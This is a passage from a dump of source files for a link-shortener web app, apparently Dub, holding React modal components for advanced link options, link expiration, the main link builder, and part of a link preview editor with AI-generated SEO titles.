w-1 rounded-full bg-neutral-200\",\n                      isDragging === i\n                        ? \"bg-neutral-400\"\n                        : \"group-hover:bg-neutral-300\",\n                    )}\n                  />\n                </div>\n              </>\n            )}\n          </div>\n        ))}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/link-builder/advanced-modal.tsx",
    "content": "import { LinkFormData } from \"@/ui/links/link-builder/link-builder-provider\";\nimport { useLinkBuilderKeyboardShortcut } from \"@/ui/links/link-builder/use-link-builder-keyboard-shortcut\";\nimport { Button, InfoTooltip, Modal, Tooltip } from \"@dub/ui\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useId,\n  useMemo,\n  useState,\n} from \"react\";\nimport { useForm, useFormContext } from \"react-hook-form\";\n\nfunction AdvancedModal({\n  showPartnersUpgradeModal,\n  setShowAdvancedModal,\n}: {\n  showPartnersUpgradeModal: boolean;\n  setShowAdvancedModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const id = useId();\n\n  const {\n    watch: watchParent,\n    getValues: getValuesParent,\n    setValue: setValueParent,\n  } = useFormContext<LinkFormData>();\n\n  const {\n    register,\n    handleSubmit,\n    formState: { isDirty },\n  } = useForm<Pick<LinkFormData, \"externalId\" | \"tenantId\">>({\n    values: {\n      externalId: getValuesParent(\"externalId\"),\n      tenantId: getValuesParent(\"tenantId\"),\n    },\n  });\n\n  const [externalIdParent, tenantIdParent] = watchParent([\n    \"externalId\",\n    \"tenantId\",\n  ]);\n\n  const parentEnabled = Boolean(externalIdParent || tenantIdParent);\n\n  useLinkBuilderKeyboardShortcut(\"v\", () => setShowAdvancedModal(true));\n\n  return (\n    <Modal\n      showModal={showPartnersUpgradeModal}\n      setShowModal={setShowAdvancedModal}\n      className=\"sm:max-w-[500px]\"\n    >\n      <form\n        className=\"px-5 py-4\"\n        onSubmit={(e) => {\n          e.stopPropagation();\n          handleSubmit((data) => {\n            setValueParent(\"externalId\", data.externalId, {\n              shouldDirty: true,\n            });\n            setValueParent(\"tenantId\", data.tenantId, {\n              shouldDirty: true,\n            });\n            setShowAdvancedModal(false);\n          })(e);\n        }}\n      >\n        <div className=\"flex items-center justify-between\">\n          <h3 className=\"text-lg font-medium\">Advanced Options</h3>\n          <div className=\"max-md:hidden\">\n            <Tooltip\n              content={\n                <div className=\"px-2 py-1 text-xs text-neutral-700\">\n                  Press{\" \"}\n                  <strong className=\"font-medium text-neutral-950\">V</strong> to\n                  open this quickly\n                </div>\n              }\n              side=\"right\"\n            >\n              <kbd className=\"flex size-6 cursor-default items-center justify-center gap-1 rounded-md border border-neutral-200 font-sans text-xs text-neutral-950\">\n                V\n              </kbd>\n            </Tooltip>\n          </div>\n        </div>\n\n        <div className=\"mt-6 flex flex-col gap-6\">\n          {/* External ID */}\n          <div>\n            <div className=\"flex items-center gap-2\">\n              <label\n                htmlFor={`${id}-external-id`}\n                className=\"flex items-center gap-2 text-sm font-medium text-neutral-700\"\n              >\n                External ID{\" \"}\n                <InfoTooltip content=\"A unique identifier for this link in your database. [Learn more about external IDs.](https://d.to/externalId)\" />\n              </label>\n              <Tooltip content=\"A unique identifier for this link in your system. [Learn more about external IDs.](https://d.to/externalId)\" />\n            </div>\n            <div className=\"mt-2 rounded-md shadow-sm\">\n              <input\n                id={`${id}-external-id`}\n                type=\"text\"\n                placeholder=\"Eg: 123456\"\n                className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                {...register(\"externalId\")}\n              />\n            </div>\n          </div>\n\n          {/* Tenant ID */}\n          <div>\n            <div className=\"flex items-center gap-2\">\n              <label\n                htmlFor={`${id}-tenant-id`}\n                className=\"flex items-center gap-2 text-sm font-medium text-neutral-700\"\n              >\n                Tenant ID{\" \"}\n                <InfoTooltip content=\"The ID of the tenant that created the link inside your system. If set, it can be used to fetch all links for a tenant.\" />\n              </label>\n              <Tooltip content=\"The ID of the tenant that created the link inside your system. If set, it can be used to fetch all links for a tenant.\" />\n            </div>\n            <div className=\"mt-2 rounded-md shadow-sm\">\n              <input\n                id={`${id}-tenant-id`}\n                type=\"text\"\n                placeholder=\"Eg: user_123\"\n                className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                {...register(\"tenantId\")}\n              />\n            </div>\n          </div>\n        </div>\n\n        <div className=\"mt-6 flex items-center justify-between\">\n          <div>\n            {parentEnabled && (\n              <button\n                type=\"button\"\n                className=\"text-xs font-medium text-neutral-700 transition-colors hover:text-neutral-950\"\n                onClick={() => {\n                  setValueParent(\"externalId\", null, { shouldDirty: true });\n                  setShowAdvancedModal(false);\n                }}\n              >\n                Remove advanced options\n              </button>\n            )}\n          </div>\n          <div className=\"flex items-center gap-2\">\n            <Button\n              type=\"button\"\n              variant=\"secondary\"\n              text=\"Cancel\"\n              className=\"h-9 w-fit\"\n              onClick={() => setShowAdvancedModal(false)}\n            />\n            <Button\n              type=\"submit\"\n              variant=\"primary\"\n              text=\"Save\"\n              className=\"h-9 w-fit\"\n              disabled={!isDirty}\n            />\n          </div>\n        </div>\n      </form>\n    </Modal>\n  );\n}\n\nexport function useAdvancedModal() {\n  const [showPartnersUpgradeModal, setShowAdvancedModal] = useState(false);\n\n  const AdvancedModalCallback = useCallback(() => {\n    return (\n      <AdvancedModal\n        showPartnersUpgradeModal={showPartnersUpgradeModal}\n        setShowAdvancedModal={setShowAdvancedModal}\n      />\n    );\n  }, [showPartnersUpgradeModal, setShowAdvancedModal]);\n\n  return useMemo(\n    () => ({\n      setShowAdvancedModal,\n      AdvancedModal: AdvancedModalCallback,\n    }),\n    [setShowAdvancedModal, AdvancedModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/link-builder/expiration-modal.tsx",
    "content": "import { LinkFormData } from \"@/ui/links/link-builder/link-builder-provider\";\nimport { useLinkBuilderKeyboardShortcut } from \"@/ui/links/link-builder/use-link-builder-keyboard-shortcut\";\nimport { ProBadgeTooltip } from \"@/ui/shared/pro-badge-tooltip\";\nimport {\n  Button,\n  InfoTooltip,\n  Modal,\n  SmartDateTimePicker,\n  Tooltip,\n  useMediaQuery,\n} from \"@dub/ui\";\nimport { CircleHalfDottedClock } from \"@dub/ui/icons\";\nimport { cn, formatDateTime } from \"@dub/utils\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useEffect,\n  useId,\n  useMemo,\n  useRef,\n  useState,\n} from \"react\";\nimport { useForm, useFormContext, useWatch } from \"react-hook-form\";\n\nfunction ExpirationModal({\n  showExpirationModal,\n  setShowExpirationModal,\n}: {\n  showExpirationModal: boolean;\n  setShowExpirationModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const { isMobile } = useMediaQuery();\n  const id = useId();\n\n  const {\n    watch: watchParent,\n    getValues: getValuesParent,\n    setValue: setValueParent,\n  } = useFormContext<LinkFormData>();\n\n  const {\n    watch,\n    register,\n    setValue,\n    reset,\n    formState: { isDirty, errors },\n    handleSubmit,\n  } = useForm<Pick<LinkFormData, \"expiresAt\" | \"expiredUrl\">>({\n    values: {\n      expiresAt: getValuesParent(\"expiresAt\"),\n      expiredUrl: getValuesParent(\"expiredUrl\"),\n    },\n  });\n\n  const [expiresAt] = watch([\"expiresAt\", \"expiredUrl\"]);\n  const expiresAtParent = watchParent(\"expiresAt\");\n\n  const inputRef = useRef<HTMLInputElement>(null);\n\n  // Hacky fix to focus the input automatically, not sure why autoFocus doesn't work here\n  useEffect(() => {\n    if (inputRef.current && !isMobile) {\n      setTimeout(() => {\n        inputRef.current?.focus();\n      }, 10);\n    }\n  }, []);\n\n  return (\n    <Modal\n      showModal={showExpirationModal}\n      setShowModal={setShowExpirationModal}\n      className=\"sm:max-w-md\"\n    >\n      <form\n        className=\"px-5 py-4\"\n        onSubmit={(e) => {\n          e.stopPropagation();\n          handleSubmit((data) => {\n            setValueParent(\"expiresAt\", data.expiresAt, {\n              shouldDirty: true,\n            });\n            setValueParent(\"expiredUrl\", data.expiredUrl, {\n              shouldDirty: true,\n            });\n            setShowExpirationModal(false);\n          })(e);\n        }}\n      >\n        <div className=\"flex items-center justify-between\">\n          <div className=\"flex items-center gap-2\">\n            <h3 className=\"text-lg font-medium\">Link Expiration</h3>\n            <ProBadgeTooltip content=\"Set an expiration date for your links – after which it won't be accessible. [Learn more.](https://dub.co/help/article/link-expiration)\" />\n          </div>\n          <div className=\"max-md:hidden\">\n            <Tooltip\n              content={\n                <div className=\"px-2 py-1 text-xs text-neutral-700\">\n                  Press{\" \"}\n                  <strong className=\"font-medium text-neutral-950\">E</strong> to\n                  open this quickly\n                </div>\n              }\n              side=\"right\"\n            >\n              <kbd className=\"flex size-6 cursor-default items-center justify-center rounded-md border border-neutral-200 font-sans text-xs text-neutral-950\">\n                E\n              </kbd>\n            </Tooltip>\n          </div>\n        </div>\n\n        {/* Expiration Date */}\n        <div className=\"mt-6\">\n          <SmartDateTimePicker\n            value={expiresAt}\n            onChange={(date) => {\n              setValue(\"expiresAt\", date, { shouldDirty: true });\n            }}\n            label=\"Date and Time\"\n            autoFocus={!isMobile}\n          />\n        </div>\n\n        {/* Expiration URL */}\n        <div className=\"mt-6\">\n          <div className=\"flex items-center gap-2\">\n            <label\n              htmlFor={`${id}-expiredUrl`}\n              className=\"block text-sm font-medium text-neutral-700\"\n            >\n              Expiration URL\n            </label>\n            <InfoTooltip content=\"Redirect users to a specific URL when the link has expired. [Learn more.](https://dub.co/help/article/link-expiration#setting-a-custom-expiration-url)\" />\n          </div>\n          <div className=\"mt-2 rounded-md shadow-sm\">\n            <input\n              id={`${id}-expiredUrl`}\n              type=\"text\"\n              autoFocus={!isMobile}\n              placeholder=\"https://example.com\"\n              className={`${\n                errors.expiredUrl\n                  ? \"border-red-300 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\"\n                  : \"border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:ring-neutral-500\"\n              } block w-full rounded-md focus:outline-none sm:text-sm`}\n              {...register(\"expiredUrl\")}\n            />\n          </div>\n        </div>\n\n        <a\n          href=\"https://dub.co/help/article/link-expiration#setting-a-default-expiration-url-for-all-links-under-a-domain\"\n          target=\"_blank\"\n          className=\"group mt-2 flex items-center text-xs text-neutral-500 hover:text-neutral-700\"\n        >\n          Set a default expiration URL for your domain\n        </a>\n\n        <div className=\"mt-6 flex items-center justify-between\">\n          <div>\n            {Boolean(expiresAtParent) && (\n              <button\n                type=\"button\"\n                className=\"text-xs font-medium text-neutral-700 transition-colors hover:text-neutral-950\"\n                onClick={() => {\n                  setValueParent(\"expiresAt\", null, { shouldDirty: true });\n                  setValueParent(\"expiredUrl\", null, { shouldDirty: true });\n                  setShowExpirationModal(false);\n                }}\n              >\n                Remove expiration\n              </button>\n            )}\n          </div>\n          <div className=\"flex items-center gap-2\">\n            <Button\n              type=\"button\"\n              variant=\"secondary\"\n              text=\"Cancel\"\n              className=\"h-9 w-fit\"\n              onClick={() => {\n                reset();\n                setShowExpirationModal(false);\n              }}\n            />\n            <Button\n              type=\"submit\"\n              variant=\"primary\"\n              text={expiresAtParent ? \"Save\" : \"Add expiration\"}\n              className=\"h-9 w-fit\"\n              disabled={!isDirty}\n            />\n          </div>\n        </div>\n      </form>\n    </Modal>\n  );\n}\n\nexport function getExpirationLabel({\n  expiresAt,\n}: Pick<LinkFormData, \"expiresAt\">) {\n  return expiresAt\n    ? formatDateTime(expiresAt, { year: undefined })\n    : \"Expiration\";\n}\n\nfunction ExpirationButton({\n  setShowExpirationModal,\n}: {\n  setShowExpirationModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const { control } = useFormContext<LinkFormData>();\n  const expiresAt = useWatch({ control, name: \"expiresAt\" });\n\n  useLinkBuilderKeyboardShortcut(\"e\", () => setShowExpirationModal(true));\n\n  return (\n    <Button\n      variant=\"secondary\"\n      text={getExpirationLabel({ expiresAt })}\n      icon={\n        <CircleHalfDottedClock\n          className={cn(\"size-4\", expiresAt && \"text-blue-500\")}\n        />\n      }\n      className=\"h-8 w-fit gap-1.5 px-2.5 text-xs font-medium text-neutral-700\"\n      onClick={() => setShowExpirationModal(true)}\n    />\n  );\n}\n\nexport function useExpirationModal() {\n  const [showExpirationModal, setShowExpirationModal] = useState(false);\n\n  const ExpirationModalCallback = useCallback(() => {\n    return (\n      <ExpirationModal\n        showExpirationModal={showExpirationModal}\n        setShowExpirationModal={setShowExpirationModal}\n      />\n    );\n  }, [showExpirationModal, setShowExpirationModal]);\n\n  const ExpirationButtonCallback = useCallback(() => {\n    return <ExpirationButton setShowExpirationModal={setShowExpirationModal} />;\n  }, [setShowExpirationModal]);\n\n  return useMemo(\n    () => ({\n      setShowExpirationModal,\n      ExpirationModal: ExpirationModalCallback,\n      ExpirationButton: ExpirationButtonCallback,\n    }),\n    [setShowExpirationModal, ExpirationModalCallback, ExpirationButtonCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/link-builder/index.tsx",
    "content": "\"use client\";\n\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ExpandedLinkProps } from \"@/lib/types\";\nimport { LinkBuilderDestinationUrlInput } from \"@/ui/links/link-builder/controls/link-builder-destination-url-input\";\nimport { LinkBuilderFolderSelector } from \"@/ui/links/link-builder/controls/link-builder-folder-selector\";\nimport { LinkBuilderShortLinkInput } from \"@/ui/links/link-builder/controls/link-builder-short-link-input\";\nimport { LinkCommentsInput } from \"@/ui/links/link-builder/controls/link-comments-input\";\nimport { ConversionTrackingToggle } from \"@/ui/links/link-builder/conversion-tracking-toggle\";\nimport {\n  DraftControls,\n  DraftControlsHandle,\n} from \"@/ui/links/link-builder/draft-controls\";\nimport { LinkBuilderHeader } from \"@/ui/links/link-builder/link-builder-header\";\nimport {\n  LinkBuilderProps,\n  LinkBuilderProvider,\n  LinkFormData,\n  useLinkBuilderContext,\n} from \"@/ui/links/link-builder/link-builder-provider\";\nimport { LinkFeatureButtons } from \"@/ui/links/link-builder/link-feature-buttons\";\nimport { LinkPreview } from \"@/ui/links/link-builder/link-preview\";\nimport { OptionsList } from \"@/ui/links/link-builder/options-list\";\nimport { QRCodePreview } from \"@/ui/links/link-builder/qr-code-preview\";\nimport { TagSelect } from \"@/ui/links/link-builder/tag-select\";\nimport { useLinkBuilderSubmit } from \"@/ui/links/link-builder/use-link-builder-submit\";\nimport { useMetatags } from \"@/ui/links/link-builder/use-metatags\";\nimport { useAvailableDomains } from \"@/ui/links/use-available-domains\";\nimport {\n  ArrowTurnLeft,\n  Button,\n  ButtonProps,\n  Modal,\n  TooltipContent,\n  useKeyboardShortcut,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport { cn, isValidUrl } from \"@dub/utils\";\nimport { useParams, useRouter, useSearchParams } from \"next/navigation\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useEffect,\n  useMemo,\n  useRef,\n  useState,\n} from \"react\";\nimport { useFormContext, useWatch } from \"react-hook-form\";\n\ntype LinkBuilderModalProps = {\n  showLinkBuilder: boolean;\n  setShowLinkBuilder: Dispatch<SetStateAction<boolean>>;\n  homepageDemo?: boolean;\n};\n\nexport function LinkBuilder(props: LinkBuilderProps & LinkBuilderModalProps) {\n  return props.showLinkBuilder ? <LinkBuilderOuter {...props} /> : null;\n}\n\nfunction LinkBuilderOuter({\n  showLinkBuilder,\n  setShowLinkBuilder,\n  homepageDemo,\n  ...rest\n}: LinkBuilderProps & LinkBuilderModalProps) {\n  return (\n    <LinkBuilderProvider {...rest}>\n      <LinkBuilderInner\n        showLinkBuilder={showLinkBuilder}\n        setShowLinkBuilder={setShowLinkBuilder}\n        homepageDemo={homepageDemo}\n      />\n    </LinkBuilderProvider>\n  );\n}\n\nfunction LinkBuilderInner({\n  showLinkBuilder,\n  setShowLinkBuilder,\n  homepageDemo,\n}: LinkBuilderModalProps) {\n  const searchParams = useSearchParams();\n  const { queryParams } = useRouterStuff();\n  const { id: workspaceId, slug, flags } = useWorkspace();\n\n  const { props, duplicateProps } = useLinkBuilderContext();\n\n  const {\n    control,\n    handleSubmit,\n    setValue,\n    formState: { isDirty, isSubmitting, isSubmitSuccessful },\n  } = useFormContext<LinkFormData>();\n\n  const [domain, key] = useWatch({\n    control,\n    name: [\"domain\", \"key\"],\n  });\n\n  useMetatags({\n    enabled: showLinkBuilder,\n  });\n\n  const saveDisabled = useMemo(() => {\n    /* \n      Disable save if:\n      - modal is not open\n      - saving is in progress\n      - for an existing link, there's no changes\n    */\n    return Boolean(\n      !showLinkBuilder ||\n        isSubmitting ||\n        isSubmitSuccessful ||\n        (props && !isDirty),\n    );\n  }, [showLinkBuilder, isSubmitting, isSubmitSuccessful, props, isDirty]);\n\n  const { loading, primaryDomain } = useAvailableDomains({\n    currentDomain: domain,\n  });\n\n  useEffect(() => {\n    // for a new link (no props or duplicateProps), set the domain to the primary domain\n    if (!loading && primaryDomain && !props && !duplicateProps) {\n      setValue(\"domain\", primaryDomain, {\n        shouldValidate: true,\n        shouldDirty: false,\n      });\n    }\n  }, [loading, primaryDomain, props, duplicateProps]);\n\n  const draftControlsRef = useRef<DraftControlsHandle>(null);\n\n  const { link } = useParams() as { link: string | string[] };\n  const router = useRouter();\n\n  const onSubmitSuccess = useCallback((data: LinkFormData) => {\n    draftControlsRef.current?.onSubmitSuccessful();\n\n    if (link) {\n      // Navigate to the new link\n      router.push(`/${slug}/links/${data.domain}/${data.key}`);\n    } else {\n      // Navigate to the link's folder\n      if (data.folderId) queryParams({ set: { folderId: data.folderId } });\n      else queryParams({ del: [\"folderId\"] });\n    }\n\n    setShowLinkBuilder(false);\n  }, []);\n\n  const onSubmit = useLinkBuilderSubmit({\n    onSuccess: onSubmitSuccess,\n  });\n\n  return (\n    <>\n      <Modal\n        showModal={showLinkBuilder}\n        setShowModal={setShowLinkBuilder}\n        className=\"max-w-screen-lg\"\n        onClose={() => {\n          if (searchParams.has(\"newLink\"))\n            queryParams({\n              del: [\"newLink\", \"newLinkDomain\"],\n            });\n          draftControlsRef.current?.onClose();\n        }}\n      >\n        <form onSubmit={handleSubmit(onSubmit)}>\n          <LinkBuilderHeader\n            onClose={() => {\n              setShowLinkBuilder(false);\n              if (searchParams.has(\"newLink\")) {\n                queryParams({\n                  del: [\"newLink\"],\n                });\n              }\n              draftControlsRef.current?.onClose();\n            }}\n          >\n            <DraftControls\n              ref={draftControlsRef}\n              props={props}\n              workspaceId={workspaceId!}\n            />\n          </LinkBuilderHeader>\n\n          <div\n            className={cn(\n              \"grid w-full gap-y-6 max-md:overflow-auto md:grid-cols-[2fr_1fr]\",\n              \"max-md:max-h-[calc(100dvh-200px)] max-md:min-h-[min(566px,_calc(100dvh-200px))]\",\n              \"md:[&>div]:max-h-[calc(100dvh-200px)] md:[&>div]:min-h-[min(566px,_calc(100dvh-200px))]\",\n            )}\n          >\n            <div className=\"scrollbar-hide px-6 md:overflow-auto\">\n              <div className=\"flex min-h-full flex-col gap-6 py-4\">\n                <LinkBuilderDestinationUrlInput />\n\n                <LinkBuilderShortLinkInput />\n\n                <TagSelect />\n\n                <LinkCommentsInput />\n\n                <ConversionTrackingToggle />\n\n                <div className=\"flex grow flex-col justify-end\">\n                  <OptionsList />\n                </div>\n              </div>\n            </div>\n            <div className=\"scrollbar-hide px-6 md:overflow-auto md:pl-0 md:pr-4\">\n              <div className=\"relative\">\n                <div className=\"absolute inset-0 rounded-xl border border-neutral-200 bg-neutral-50 [mask-image:linear-gradient(to_bottom,black,transparent)]\"></div>\n                <div className=\"relative flex flex-col gap-6 px-4 py-3\">\n                  <LinkBuilderFolderSelector />\n                  <QRCodePreview />\n                  <LinkPreview />\n                </div>\n              </div>\n            </div>\n          </div>\n          <div className=\"flex items-center justify-between gap-2 border-t border-neutral-100 bg-neutral-50 p-4\">\n            <LinkFeatureButtons />\n            {homepageDemo ? (\n              <Button\n                disabledTooltip=\"This is a demo link. You can't edit it.\"\n                text=\"Save changes\"\n                className=\"h-8 w-fit\"\n              />\n            ) : (\n              <Button\n                type=\"submit\"\n                disabled={saveDisabled}\n                loading={isSubmitting || isSubmitSuccessful}\n                text={\n                  <span className=\"flex items-center gap-2\">\n                    {props ? \"Save changes\" : \"Create link\"}\n                    <div className=\"rounded border border-white/20 p-1\">\n                      <ArrowTurnLeft className=\"size-3.5\" />\n                    </div>\n                  </span>\n                }\n                className=\"h-8 w-fit pl-2.5 pr-1.5\"\n              />\n            )}\n          </div>\n        </form>\n      </Modal>\n    </>\n  );\n}\n\ntype CreateLinkButtonProps = Partial<ButtonProps>;\n\nexport function CreateLinkButton({\n  setShowLinkBuilder,\n  ...buttonProps\n}: {\n  setShowLinkBuilder: Dispatch<SetStateAction<boolean>>;\n} & CreateLinkButtonProps) {\n  const { slug, role, exceededLinks } = useWorkspace();\n\n  const permissionsError = clientAccessCheck({\n    action: \"links.write\",\n    role,\n  }).error;\n\n  useKeyboardShortcut(\"c\", () => setShowLinkBuilder(true), {\n    enabled: !exceededLinks && !permissionsError,\n  });\n\n  // listen to paste event, and if it's a URL, open the modal and input the URL\n  const handlePaste = (e: ClipboardEvent) => {\n    const pastedContent = e.clipboardData?.getData(\"text\");\n    const target = e.target as HTMLElement;\n    const existingModalBackdrop = document.getElementById(\"modal-backdrop\");\n\n    // make sure:\n    // - pasted content is a valid URL\n    // - user is not typing in an input or textarea\n    // - there is no existing modal backdrop (i.e. no other modal is open)\n    // - workspace has not exceeded links limit\n    if (\n      pastedContent &&\n      isValidUrl(pastedContent) &&\n      target.tagName !== \"INPUT\" &&\n      target.tagName !== \"TEXTAREA\" &&\n      !existingModalBackdrop &&\n      !exceededLinks &&\n      !permissionsError\n    ) {\n      setShowLinkBuilder(true);\n    }\n  };\n\n  useEffect(() => {\n    document.addEventListener(\"paste\", handlePaste);\n    return () => document.removeEventListener(\"paste\", handlePaste);\n  }, []);\n\n  return (\n    <Button\n      text=\"Create link\"\n      shortcut=\"C\"\n      disabledTooltip={\n        exceededLinks ? (\n          <TooltipContent\n            title=\"Your workspace has exceeded its monthly links limit. We're still collecting data on your existing links, but you need to upgrade to create more links.\"\n            cta=\"Upgrade plan\"\n            href={`/${slug}/upgrade`}\n          />\n        ) : (\n          permissionsError || undefined\n        )\n      }\n      onClick={() => setShowLinkBuilder(true)}\n      {...buttonProps}\n    />\n  );\n}\n\nexport function useLinkBuilder({\n  props,\n  duplicateProps,\n  homepageDemo,\n}: {\n  props?: ExpandedLinkProps;\n  duplicateProps?: ExpandedLinkProps;\n  homepageDemo?: boolean;\n} = {}) {\n  const workspace = useWorkspace();\n  const [showLinkBuilder, setShowLinkBuilder] = useState(false);\n\n  const LinkBuilderCallback = useCallback(() => {\n    return (\n      <LinkBuilder\n        showLinkBuilder={showLinkBuilder}\n        setShowLinkBuilder={setShowLinkBuilder}\n        props={props}\n        duplicateProps={duplicateProps}\n        homepageDemo={homepageDemo}\n        workspace={workspace}\n        modal={true}\n      />\n    );\n  }, [showLinkBuilder]);\n\n  const CreateLinkButtonCallback = useCallback(\n    (props?: CreateLinkButtonProps) => {\n      return (\n        <CreateLinkButton setShowLinkBuilder={setShowLinkBuilder} {...props} />\n      );\n    },\n    [],\n  );\n\n  return useMemo(\n    () => ({\n      showLinkBuilder,\n      setShowLinkBuilder,\n      LinkBuilder: LinkBuilderCallback,\n      CreateLinkButton: CreateLinkButtonCallback,\n    }),\n    [showLinkBuilder, LinkBuilderCallback, CreateLinkButtonCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/link-builder/og-modal.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport {\n  LinkFormData,\n  useLinkBuilderContext,\n} from \"@/ui/links/link-builder/link-builder-provider\";\nimport { Link } from \"@/ui/shared/icons\";\nimport { ProBadgeTooltip } from \"@/ui/shared/pro-badge-tooltip\";\nimport { UpgradeRequiredToast } from \"@/ui/shared/upgrade-required-toast\";\nimport { useCompletion } from \"@ai-sdk/react\";\nimport {\n  Button,\n  ButtonTooltip,\n  FileUpload,\n  Modal,\n  Popover,\n  Tooltip,\n} from \"@dub/ui\";\nimport { LoadingCircle, Magic, Unsplash } from \"@dub/ui/icons\";\nimport { resizeImage } from \"@dub/utils\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useEffect,\n  useMemo,\n  useState,\n} from \"react\";\nimport { useForm, useFormContext } from \"react-hook-form\";\nimport TextareaAutosize from \"react-textarea-autosize\";\nimport { toast } from \"sonner\";\nimport { usePromptModal } from \"../prompt-modal\";\nimport UnsplashSearch from \"./unsplash-search\";\n\nfunction OGModal({\n  showOGModal,\n  setShowOGModal,\n}: {\n  showOGModal: boolean;\n  setShowOGModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  // Rerender the modal when the showOGModal state changes to reset the form's values\n  return showOGModal ? (\n    <OGModalInner showOGModal={showOGModal} setShowOGModal={setShowOGModal} />\n  ) : null;\n}\n\nfunction OGModalInner({\n  showOGModal,\n  setShowOGModal,\n}: {\n  showOGModal: boolean;\n  setShowOGModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const { id: workspaceId, plan, exceededAI, mutate } = useWorkspace();\n\n  const { generatingMetatags } = useLinkBuilderContext();\n  const {\n    getValues: getValuesParent,\n    watch: watchParent,\n    setValue: setValueParent,\n  } = useFormContext<LinkFormData>();\n\n  const {\n    watch,\n    setValue,\n    reset,\n    handleSubmit,\n    formState: { isDirty },\n  } = useForm<Pick<LinkFormData, \"image\" | \"title\" | \"description\" | \"proxy\">>({\n    defaultValues: {\n      image: getValuesParent(\"image\"),\n      title: getValuesParent(\"title\"),\n      description: getValuesParent(\"description\"),\n      proxy: getValuesParent(\"proxy\"),\n    },\n  });\n\n  const url = watchParent(\"url\");\n  const { image, title, description } = watch();\n\n  const { setShowPromptModal, PromptModal } = usePromptModal({\n    title: \"Use image from URL\",\n    description:\n      \"Paste an image URL to use for your link's social media cards.\",\n    label: \"Image URL\",\n    inputProps: {\n      type: \"url\",\n      placeholder: \"https://example.com/og.png\",\n    },\n    onSubmit: (image) => {\n      if (!image) return;\n\n      setValue(\"image\", image, { shouldDirty: true });\n      if (plan && plan !== \"free\") {\n        setValue(\"proxy\", true, { shouldDirty: true });\n      }\n    },\n  });\n\n  const [openUnsplashPopover, setOpenUnsplashPopover] = useState(false);\n  const [resizing, setResizing] = useState(false);\n\n  const {\n    completion: completionTitle,\n    isLoading: generatingTitle,\n    complete: completeTitle,\n  } = useCompletion({\n    api: `/api/ai/completion?workspaceId=${workspaceId}`,\n    streamProtocol: \"text\",\n    onError: (error) => {\n      if (error.message.includes(\"Upgrade to Pro\")) {\n        toast.custom(() => (\n          <UpgradeRequiredToast\n            title=\"You've exceeded your AI usage limit\"\n            message={error.message}\n          />\n        ));\n      } else {\n        toast.error(error.message);\n      }\n    },\n    onFinish: () => {\n      mutate();\n    },\n  });\n\n  const generateTitle = async () => {\n    completeTitle(\n      `You are an SEO expert. Generate an SEO-optimized meta title (max 120 characters) for the following URL:\n      \n      - URL: ${url}\n      - Meta title: ${title}\n      - Meta description: ${description}. \n\n      Only respond with the title without quotation marks or special characters.\n      `,\n    );\n  };\n\n  useEffect(() => {\n    if (completionTitle) {\n      setValue(\"title\", completionTitle, { shouldDirty: true });\n      if (plan && plan !== \"free\") {\n        setValue(\"proxy\", true, { shouldDirty: true });\n      }\n    }\n  }, [completionTitle]);\n\n  const {\n    completion: completionDescription,\n    isLoading: generatingDescription,\n    complete: completeDescription,\n  } = useCompletion({\n    api: `/api/ai/completion?workspaceId=${workspaceId}`,\n    streamProtocol: \"text\",\n    onError: (error) => {\n      if (error.message.includes(\"Upgrade to Pro\")) {\n        toast.custom(() => (\n          <UpgradeRequiredToast\n            title=\"You've exceeded your AI usage limit\"\n            message={error.message}\n          />\n        ));\n      } else {\n        toast.error(error.message);\n      }\n    },\n    onFinish: (_, __) => {\n      mutate();\n    },\n  });\n\n  const generateDescription = async () => {\n    completeDescription(\n      `You are an SEO expert. Generate an SEO-optimized meta description (max 240 characters) for the following URL:\n\n      - URL: ${url}\n      - Meta title: ${title}\n      - Meta description: ${description}.\n\n      Only respond with the description without quotation marks or special characters.`,\n    );\n  };\n\n  useEffect(() => {\n    if (completionDescription) {\n      setValue(\"description\", completionDescription, { shouldDirty: true });\n      if (plan && plan !== \"free\") {\n        setValue(\"proxy\", true, { shouldDirty: true });\n      }\n    }\n  }, [completionDescription]);\n\n  return (\n    <>\n      <PromptModal />\n      <Modal\n        showModal={showOGModal}\n        setShowModal={setShowOGModal}\n        className=\"sm:max-w-[500px]\"\n      >\n        <form\n          className=\"px-5 py-4\"\n          onSubmit={(e) => {\n            e.stopPropagation();\n            handleSubmit(async (data) => {\n              setShowOGModal(false);\n              ([\"image\", \"title\", \"description\", \"proxy\"] as const).forEach(\n                (key) => setValueParent(key, data[key], { shouldDirty: true }),\n              );\n            })(e);\n          }}\n        >\n          <div className=\"flex items-center justify-between\">\n            <div className=\"flex items-center gap-2\">\n              <h3 className=\"text-lg font-medium\">Link Preview</h3>\n              <ProBadgeTooltip content=\"Customize how your links look when shared on social media to improve click-through rates. When enabled, the preview settings below will be shown publicly (instead of the URL's original metatags). [Learn more.](https://dub.co/help/article/custom-link-previews)\" />\n            </div>\n            <div className=\"max-md:hidden\">\n              <Tooltip\n                content={\n                  <div className=\"px-2 py-1 text-xs text-neutral-700\">\n                    Press{\" \"}\n                    <strong className=\"font-medium text-neutral-950\">L</strong>{\" \"}\n                    to open this quickly\n                  </div>\n                }\n                